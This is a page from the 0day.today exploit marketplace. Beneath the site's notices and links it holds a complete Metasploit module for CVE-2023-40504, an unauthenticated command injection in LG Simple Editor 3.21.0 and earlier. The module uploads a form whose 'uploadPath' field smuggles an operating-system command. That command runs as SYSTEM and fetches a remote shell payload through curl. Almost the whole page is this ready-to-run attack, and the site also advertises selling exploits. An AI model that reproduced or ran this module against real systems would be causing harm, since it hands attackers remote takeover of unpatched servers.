0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
LG Simple Editor 3.21.0 Command Injection Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'LG Simple Editor Command Injection (CVE-2023-40504)', 'Description' => %q{ Unauthenticated Command Injection in LG Simple Editor <= v3.21.0. The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod', # Vulnerability discovery 'Michael Heinzl' # MSF module ], 'References' => [ [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-1208/'], [ 'CVE', '2023-40504'] ], 'DisclosureDate' => '2023-08-04', 'Platform' => 'win', 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Windows_Fetch', { 'Arch' => [ ARCH_CMD ], 'Platform' => 'win', 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' }, 'Type' => :win_fetch, 'Payload' => { 'BadChars' => '\\' } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'The URI of the LG Simple Editor', '/']) ] ) end # Determine if the Simple Editor instance runs a vulnerable version # copied from lg_simple_editor_rce.rb def check res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri, 'simpleeditor', 'common', 'commonReleaseNotes.do') } ) return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? version = Rex::Version.new(res.get_html_document.xpath('//h2')[0]&.text&.gsub('v', '')) return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown' return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('3.21.0') Exploit::CheckCode::Safe end def exploit execute_command(payload.encoded) end def execute_command(cmd) print_status('Sending command injection...') exec_simplerce(cmd) print_status('Exploit finished, check thy shell.') end # Send command injection def exec_simplerce(cmd) filename = Rex::Text.rand_text_alpha(1..6) vprint_status("Using random filename: #{filename}.mp4") form = Rex::MIME::Message.new form.add_part('/', nil, nil, "form-data; name=\"uploadVideo\"; filename=\"#{filename}.mp4\"") form.add_part("/\"&#{cmd}&cd ..&cd ..&cd ..&cd server&cd webapps&cd simpleeditor&del #{filename}.mp4&/../", nil, nil, 'form-data; name="uploadPath"') form.add_part('1', nil, nil, 'form-data; name="uploadFile_x"') form.add_part('1', nil, nil, 'form-data; name="uploadFile_width"') form.add_part('1', nil, nil, 'form-data; name="uploadFile_height"') res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'imageManager', 'uploadVideo.do'), 'ctype' => "multipart/form-data; boundary=#{form.bound}", 'data' => form.to_s } ) if res && res.code == 200 print_good 'Command injection sent.' else fail_with(Failure::UnexpectedReply, "#{peer}: Unexpected response received.") end end end # 0day.today [2024-09-19] #